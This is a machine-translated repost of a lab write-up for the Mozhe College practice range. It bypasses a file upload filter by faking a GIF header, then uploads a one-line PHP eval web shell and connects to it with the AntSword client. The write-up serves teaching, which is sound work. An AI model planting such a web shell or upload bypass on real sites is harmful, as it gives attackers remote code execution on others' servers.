当前位置:网站首页>File upload vulnerability - simple exploitation 2 (Mozhe college shooting range)
File upload vulnerability - simple exploitation 2 (Mozhe college shooting range)
2022-06-11 20:27:00 【the zl】
File upload vulnerability — Make simple use of ( Mexican Academy shooting range )
explain : The website information involved in this article is the shooting range environment of Moher College , It doesn't involve the real environment of the Internet , Just for learning .
Upload ideas :
Step one : Determine the web site support file format .
From the website function point or topic description, you can judge the location , This function node supports uploading image formats (JPG,GIF and PNG etc. ) file , Try uploading a file named poc.jpg and poc.php Pictures of the : Judge whether the website supports JPG Format file upload
poc.jpg Format uploaded successfully :
poc.php Format upload failed :
Step two : Judge whether the website is a blacklist , The white list is also a file content detection method .
By uploading malformed file names poc.php.jar, File upload failed , It can be judged that the probability here is in the way of white list or file content detection ( Because if it is intercepted in the form of blacklist , Many malformed extensions will not be blocked )
Step three : Determine whether to intercept the file content .
Create a file named poc.jpg The file of , The contents of the file are ordinary strings , File upload failed , It can be judged that this website is intercepted in the form of file content .
File content filtering :
1, Blacklist method . Script string detection , Detect, for example <?php,<% And so on
2, White list method . File header feature file mode , for example GIF Picture file header exists GIF89a features
Step four : Determine the file filtering method
By creating files poc.gif, File header add GIF File header characteristics GIF89a, Other contents are random strings , File upload succeeded , Judge that the filtering method of the website is to filter the white list of file contents 
File upload succeeded :
step 5: Try to bypass site filtering , Upload script suffix file
Create name as poc.php The file of , The content is GIF89a <?php @eval($_POST["x"]); ?>, File upload succeeded

step 6: Use the Chinese ant sword to connect to the website , Website connection succeeded , Get FLAG
Articles involving learning content :
Web Security — File upload vulnerability
Common picture file header features
File upload vulnerability — In a word, picture horse production
Web In depth analysis of security — Upload the loopholes
边栏推荐
- STC 纯硬件自动下载电路 V2
- In 2021, the global cement and aggregate revenue will be about USD 204320 million, and it is expected to reach USD 242670 million in 2028
- In 2021, the global revenue of flexible fireproof sealant is about 755.2 million dollars, and it is expected to reach 1211.7 million dollars in 2028
- Final examination of Dialectics of nature 1
- Force buckle 6 Zigzag transformation
- unity里面使用opencv,qt建立plugin(一)
- 【计算机推免】哈尔滨工业大学物联网与泛在智能研究中心面向全国高校推免生招收2023级研究生(硕、博、直博生)
- Flutter doctor shows the solution that Xcode is not installed
- 导师转我800块,让我仿真一个电路(电源设计)
- Two minutes to show you the charging standard of the Sub Ledger System
猜你喜欢

UDP、TCP

上海内推 | 上海期智研究院于洋老师课题组招收全职研究员

接口隔离原则

In 2021, the global adult diaper revenue was about $11560million, which is expected to reach $15440million in 2028. From 2022 to 2028, the CAGR was 4.2%

使用flask框架写挡板

In 2021, the global barite product revenue was about $571.3 million, and it is expected to reach $710.2 million in 2028

Detailed tutorial on installing MySQL database in Linux environment (including uninstallation and password reset process)

Detailed explanation on persistence of 2022redis7.0x

27. this pointing problem

unity package manager starting server stuck(Unity启动卡在starting server,然后报错)
随机推荐
Oracle case: ora-00600: internal error code, arguments: [4187]
2022-2028 global and Chinese thermopile infrared sensor market status and future development trend
Show your creativity and win the graphics card! Mmpose attitude estimation creative contest shocks
Usage methods and cases of PLSQL blocks, cursors, functions, stored procedures and triggers of Oracle Database
Detailed tutorial on installing MySQL database in Linux environment (including uninstallation and password reset process)
Research and Analysis on the market status of polybutene-1 in China from 2021 to 2027 and forecast report on its development prospect
STC 纯硬件自动下载电路 V2
QQ贴吧那种图片一点开,就变了的原理
Are there any techniques for 3D modeling?
全名单!2022泰晤士亚洲大学排名公布!
Installation and performance test of Apache APIs IX on Amazon graviton3
Leetcode2027. 转换字符串的最少操作次数(可以,一次过)
MySQL - Basic select statement
STC hardware only automatic download circuit V2
Current situation and future development trend of thermoelectric generator Market in the world and China from 2022 to 2028
29. location對象
unity里面使用opencv,qt建立plugin(一)
2022年最新宁夏建筑八大员(标准员)考试试题及答案
27. this指向问题
[Unity插件]着色器关键字分析工具ShaderControl